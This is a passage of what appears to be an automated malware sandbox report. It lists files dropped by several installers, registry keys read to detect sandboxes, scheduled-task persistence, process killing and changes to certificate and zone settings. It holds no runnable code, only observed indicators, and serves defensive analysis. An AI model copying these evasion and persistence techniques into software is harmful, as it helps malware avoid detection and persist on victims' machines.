(x86)\PowerControl\PowerControl_Svc.exe aUWn94KiBw4hRviTZDKtkVqK.exe File created C:\Program Files (x86)\MaskVPN\unins000.msg vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-O6S03.tmp vpn.tmp File created C:\Program Files (x86)\Dignissimos\quia\is-3CLB3.tmp Software-update-patc_649073113.tmp File opened for modification C:\Program Files (x86)\MaskVPN\tunnle.exe vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-KQAUD.tmp vpn.tmp File created C:\Program Files (x86)\Windows NT\Malykaedudi.exe.config DYbALA.exe File opened for modification C:\Program Files (x86)\MaskVPN\libeay32.dll vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\libMaskVPN.dll vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-MUMV0.tmp vpn.tmp File created C:\Program Files (x86)\Dignissimos\is-OIKLB.tmp Software-update-patc_649073113.tmp File created C:\Program Files (x86)\Dignissimos\dolor\is-6G7I2.tmp Software-update-patc_649073113.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-478RO.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-AR5NI.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-3LPDO.tmp vpn.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\jg1_1faf.exe drBU9VmRknQ_vIbycQ1TRJja.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\d.jfm jg1_1faf.exe File created C:\Program Files (x86)\Windows NT\Malykaedudi.exe DYbALA.exe File created C:\Program Files (x86)\Dignissimos\dolor\is-HRH00.tmp Software-update-patc_649073113.tmp File opened for modification C:\Program Files (x86)\MaskVPN\ssleay32.dll vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-88D4O.tmp vpn.tmp File created C:\Program Files (x86)\Company\NewProduct\d jg1_1faf.exe File created C:\Program Files (x86)\Dignissimos\officia\is-IOBEF.tmp Software-update-patc_649073113.tmp File created C:\Program Files (x86)\Dignissimos\is-7BCT3.tmp Software-update-patc_649073113.tmp File created C:\Program Files (x86)\Dignissimos\dolor\is-VEVA4.tmp Software-update-patc_649073113.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-N380C.tmp vpn.tmp File created C:\Program Files (x86)\Dignissimos\unins000.dat Software-update-patc_649073113.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp64\is-2971R.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win764\is-7G6RT.tmp vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\driver\win732\tapinstall.exe vpn.tmp File opened for modification C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe aUWn94KiBw4hRviTZDKtkVqK.exe File created C:\Program Files (x86)\Company\NewProduct\d.jfm jg1_1faf.exe File opened for modification C:\Program Files (x86)\MaskVPN\mask_svc.exe vpn.tmp File created C:\Program Files (x86)\Dignissimos\aut\is-31V8H.tmp Software-update-patc_649073113.tmp File opened for modification C:\Program Files (x86)\MaskVPN\polstore.dll vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-3L5IJ.tmp vpn.tmp File opened for modification C:\Program Files (x86)\Dignissimos\dolor\Dolore.exe Software-update-patc_649073113.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-9L3A4.tmp vpn.tmp File created C:\Program Files (x86)\Dignissimos\quia\is-HMT36.tmp Software-update-patc_649073113.tmp -
Drops file in Windows directory 29 IoCs
Processes:
MicrosoftEdge.exemsiexec.exetapinstall.exeMicrosoftEdge.execmd.exeDrvInst.exesvchost.exeAltrove.exe.comdescription ioc process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\Installer\f79b5ef.msi msiexec.exe File opened for modification C:\Windows\Installer\MSI1383.tmp msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log tapinstall.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSI18A4.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log cmd.exe File opened for modification C:\Windows\Installer\MSI6BB3.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI98F.tmp msiexec.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSI93BF.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIA890.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIB67B.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIBC78.tmp msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\inf\oem2.inf DrvInst.exe File opened for modification C:\Windows\INF\setupapi.dev.log svchost.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp Altrove.exe.com File created C:\Windows\Installer\SourceHash{B59E6947-D960-4A88-902E-F387AFD7DF1F} msiexec.exe File created C:\Windows\inf\oem2.inf DrvInst.exe File opened for modification C:\Windows\Installer\f79b5ef.msi msiexec.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe File opened for modification C:\Windows\Installer\MSI7CEA.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI2AF5.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI5D51.tmp msiexec.exe File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File created C:\Windows\INF\oem2.PNF cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 14 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 2400 3136 WerFault.exe Wed09cfb2f9758281d8.exe 5404 3136 WerFault.exe Wed09cfb2f9758281d8.exe 5848 3136 WerFault.exe Wed09cfb2f9758281d8.exe 4532 3136 WerFault.exe Wed09cfb2f9758281d8.exe 760 4452 WerFault.exe run.exe 5788 5728 WerFault.exe setup.exe 4744 5728 WerFault.exe setup.exe 5052 5728 WerFault.exe setup.exe 5956 6020 WerFault.exe 10.exe 4256 5728 WerFault.exe setup.exe 3184 3136 WerFault.exe Wed09cfb2f9758281d8.exe 6492 3136 WerFault.exe Wed09cfb2f9758281d8.exe 6444 5440 WerFault.exe 5.exe 7032 3136 WerFault.exe Wed09cfb2f9758281d8.exe -
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
svchost.exesvchost.exehAsi4SkWff9wB27krZcQwiFM.exetapinstall.exetapinstall.exeWed09b2a8bc4f16cb.exeDrvInst.execmd.execmd.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0018 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\300A svchost.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hAsi4SkWff9wB27krZcQwiFM.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\HardwareID tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\HardwareID tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\HardwareID svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0052 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Wed09b2a8bc4f16cb.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0009 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\HardwareID svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008\ svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0034 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0004 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hAsi4SkWff9wB27krZcQwiFM.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Phantom DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0064 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0052 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0004\ svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\HardwareID tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{4340a6c5-93fa-4706-972c-7b648008a5a7}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0058 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0051 svchost.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Wed09b2a8bc4f16cb.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\ConfigFlags DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0051 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\CompatibleIDs svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\000A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0004 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0058 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\ConfigFlags svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0054 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{4340a6c5-93fa-4706-972c-7b648008a5a7}\0008 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\ConfigFlags svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A svchost.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI Wed09b2a8bc4f16cb.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\UpperFilters cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0006 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\000A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\CompatibleIDs tapinstall.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Mfg svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0008 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Service cmd.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
svchost.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe -
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 7432 schtasks.exe 4136 schtasks.exe 7960 schtasks.exe 4588 schtasks.exe 7228 schtasks.exe -
Kills process with taskkill 7 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 7024 taskkill.exe 1180 taskkill.exe 5360 taskkill.exe 7652 taskkill.exe 7900 taskkill.exe 2348 taskkill.exe 2120 taskkill.exe -
Processes:
MicrosoftEdge.exebrowser_broker.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe -
Modifies data under HKEY_USERS 60 IoCs
Processes:
DrvInst.exesvchost.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates DrvInst.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust DrvInst.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs DrvInst.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates DrvInst.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed DrvInst.exe -
Modifies registry class 64 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeAltrove.exe.comDolore.exeMicrosoftEdgeCP.exeExplorer.EXEMicrosoftEdgeCP.exesvchost.exePassword_is_5432764372___BitlyWindows10t.exesvchost.exedescription ioc process Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "268435456" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" Set value (data) 